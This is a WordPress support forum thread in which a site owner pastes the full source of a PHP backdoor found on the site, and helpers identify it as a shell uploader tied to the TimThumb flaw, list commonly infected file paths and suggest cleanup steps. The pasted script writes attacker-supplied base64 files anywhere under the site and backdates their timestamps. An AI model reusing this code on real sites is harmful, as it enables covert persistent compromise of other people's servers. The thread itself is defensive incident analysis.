• I have noticed recently that some new files are showing up in my editor area of my wordpress website.

    The files have long names like:

    b33959ad73c3009059ccd99f10e6e9b2.php

    One is full of junk and some stuff about basedecode.

    Another says only: access denied

    And ones has the following:

    <?php
    $cur_dir = getcwd () . '/';
    
    if ( isset ( $_POST['test'] ) ) {
    	echo "Test " . "OK";
    	die ();
    }
    
    if ( isset ( $_POST['upload'] ) ) {
    	$file_name = $_POST['fname'];
    	$content = base64_decode ( $_POST['fcontent'] );
    
    	$home = substr ( $cur_dir, 0, stripos ( $cur_dir, '/wp-content/' ) + 1 );
    	$bd = $home . $file_name;
    	echo $dir = substr ( $bd, 0, strripos ( $bd, '/' ) + 1 );
    
    	$flist = glob ("$dir*.php");
    	$date = filemtime ( array_pop ($flist) );
    
    	$f = fopen ( $bd, 'w' );
    	fputs ( $f, $content );
    	fclose ($f);
    	touch ( $bd, $date );
    
    	die ();
    }
    
    if ( isset ( $_POST['clean'] ) ) {
    	if ( 'cache' === strtolower ( substr ( $cur_dir, strrpos ( $cur_dir, '/', -2 ) + 1, -1 ) ) ) {
    		$tim_file = substr ( $cur_dir, 0, strrpos ( $cur_dir, '/', -2 ) + 1 ) . $_POST['tim'];
    		$date = filemtime ( $tim_file );
    		$old_tim = '';
    		$f = fopen ($tim_file, 'r');
    		while ( ($line = fgets($f)) !== false)
    			$old_tim .= $line;
    		fclose($f);
    
    		$tim = str_ireplace ( array ( 	'ereg($site, $url_info[\'host\']) == true',
    										'preg_match($site, $url_info[\'host\']) == true' ) ,
    							'preg_match (\'/(?:^|\.)\' . $site . \'$/i\', $url_info[\'host\'])', $old_tim);
    
    		if ($old_tim !== $tim) {
    			$f = fopen ( $tim_file, 'w' );
    			fputs ( $f, $tim );
    			fclose ($f);
    			@touch ( $tim_file, $date );
    			if ( $date !== filemtime ( $tim_file )) {
    				unlink ( $tim_file );
    				$f = fopen ( $tim_file, 'w' );
    				fputs ( $f, $tim );
    				fclose ($f);
    				@touch ( $tim_file, $date );
    			}
    			echo "TimThumb updated\n";
    		}
    
    		$cdir = glob ( $cur_dir . "*.php" );
    		array_map ( 'unlink', $cdir );
    	}
    	die();
    }
    ?>
Viewing 7 replies - 1 through 7 (of 7 total)
  • Thread Starter riskyshift

    (@riskyshift)

    OK… I ran the scanner and it found a vulnerable file and fixed it…

    It appears that the new files were created yesterday at 5pm.

    I deleted the new files they created and didn’t see any other files modified in the last 3 days.

    Can you tell from the code above what they did?

    What are the chances my website is still compramized… Deleting everything as suggested in your second link would mean weeks of lost work.

    I´d say you should just backup the database and check every row and clean it out. Then delete everything , install a new wordpress and import your clean database.

    Thread Starter riskyshift

    (@riskyshift)

    Not sure how to clean it out and there are over 10,000 rows of data.

    I have all the posts and pages backed up, but the theme is heavily modified and I regrettably don’t have that backed up.

    Can you tell from the code above what they did?

    It looks like a shell uploader script (just by glancing at it). It also looks like it’s targeting or looking for a timthumb vulnerability. That’s why Samuel posted the links referring timthumb.

    Not sure how to clean it out and there are over 10,000 rows of data.

    By 10,000 rows of data I’m assuming you’re talking about you’re database. If you haven’t backed up your database, you can still implement reinstalling the WordPress core files, that is unless you’ve modified them. It may have not infected your database. Just make sure you make a back up now, before any more clean up. Then you can examine everything in your wp-content directory and decide if it needs to be there or not.

    Ripley (Aliens 1986):

    I say we take off and nuke the site from orbit. It’s the only way to be sure.

    If you can’t grep your files searching for infected files, this may help. I haven’t had to help anyone with this in a while, so I’m pretty sure they’ve moved on to other locations as well. But it may help you.

    Four standard WordPress files that could be infected:
    /wp-config.php
    /wp-settings.php
    /wp-includes/js/l10n.js
    /wp-includes/js/jquery/jquery.js

    The latest hack could also create the following files:
    /wp-admin/common.php
    /wp-admin/upd.php
    /wp-admin/js/config.php
    /wp-content/2b64c2f19d868305aa8bbc2d72902cc5.php (or similar)
    /wp-content/themes/[theme’s name]/temp/eab9c5e9815adc4c40a6557495eed6d3.php (or similar)
    /wp-content/upd.php
    /wp-content/data.php

    Possibly also:
    /wp-content/uploads/feed-file.php
    /wp-content/uploads/feed-files.php

    &
    /wp-content/themes/[theme’s name]/wp.php
    /wp-content/themes/[theme’s name]/sm3.php
    /wp-content/themes/[theme’s name]/r1.php
    /wp-content/themes/[theme’s name]/2.php
    /wp-content/themes/[theme’s name]/cache/.htaccess

    &
    .htaccess (at the root) (redirects are added at the end, after a lot of white space)

    & most recently your themes header.php file could have been hacked:
    /wp-content/themes/[theme’s name]/header.php

    Also look in any cache, temp, and/or tmp files.

    Remove timthumb cache sub-directory

    Look for a “cache” sub-directory, right below where you found the PHP files above (timthumb.php, or thumb.php). Remove any files stored in there. Either delete the folder, or make it not write-able by your web server.

    Thread Starter riskyshift

    (@riskyshift)

    Thanks for the help, I will get to work on this now.

Viewing 7 replies - 1 through 7 (of 7 total)
  • The topic ‘Is my WordPress being hacked?’ is closed to new replies.